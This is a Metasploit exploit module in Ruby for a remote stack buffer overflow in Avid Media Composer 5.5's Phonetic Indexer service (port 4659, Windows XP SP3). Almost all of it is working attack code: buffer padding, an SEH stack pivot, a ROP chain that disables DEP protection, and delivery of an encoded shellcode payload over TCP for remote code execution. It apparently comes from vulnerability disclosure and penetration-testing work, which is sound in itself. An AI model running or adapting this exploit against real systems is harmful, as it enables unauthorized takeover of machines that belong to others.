require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",
      'Description'    => %q{
          This module exploits a stack buffer overflow in process AvidPhoneticIndexer.exe (port 4659),
        which comes as part of the Avid Media Composer 5.5 Editing Suite. This daemon sometimes starts on a
        different port; if you start it standalone it will run on port 4660.
      },
      'License'        => MSF_LICENSE,
      'Version'        => "$Revision: 13137 $",
      'Author'         =>
        [
          'vt [nick.freeman@security-assessment.com]', 
        ],
      'References'     =>
        [
          [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Remote_Stack_Buffer_Overflow.pdf' ],
        ],
      'Payload'        =>
        {
          'Space'    => 1012,
          'BadChars' => "\x00\x09\x0a\x0d\x20",
          'DisableNops' => true,
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'EAX',
            }
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP Professional SP3', {} ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 29 2011",
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(4659),
        ], self.class)
  end

  def exploit

    junk = 'A' * 216 
    sehpivot = "\xeb\x35\x8b\x02" #0x028B35EB :  # ADD ESP,1800 # RETN 
    junk2 = 'A' * 732

    rop_gadgets = [
    
        # ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!) - a non-sayonara ROP would be super easy too, I'm just lazy :)
        0x7C344CC1,  # pop eax;ret;
        0x7C3410C2, # pop ecx;pop ecx;ret;
        0x7C342462, # xor chain; call eax {0x7C3410C2}
        0x7C38C510, # writeable location for lpflOldProtect
        0x7C365645, # pop esi;ret;
        0x7C345243, # ret;
        0x7C348F46, # pop ebp;ret;
        0x7C3487EC, # call eax 
        0x7C344CC1, # pop eax;ret; 
        0xfffffbfc, # {size}
        0x7C34D749, # neg eax;ret; {adjust size}
        0x7C3458AA, # add ebx, eax;ret; {size into ebx}
        0x7C3439FA, # pop edx;ret; 
        0xFFFFFFC0, # {flag}
        0x7C351EB1, # neg edx;ret; {adjust flag}
        0x7C354648, # pop edi;ret;
        0x7C3530EA, # mov eax,[eax];ret;
        0x7C344CC1, # pop eax;ret;
        0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
        0x7C355AEB, # sub eax,30;ret;
        0x7C378C81, # pushad; add al,0xef; ret;
        0x7C36683F, # push esp;ret;
    ].pack("V*")
    
    # need to control a buffer reg for the msf gen'd payload to fly. in this case:
    bufregfix = "\x8b\xc4"     # MOV EAX,ESP
    bufregfix += "\x83\xc0\x10"   # ADD EAX,10 
    
    connect
    sploit = junk + sehpivot + junk2 + rop_gadgets + bufregfix + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded 
    sock.put(sploit)
    handler
    disconnect
  end
end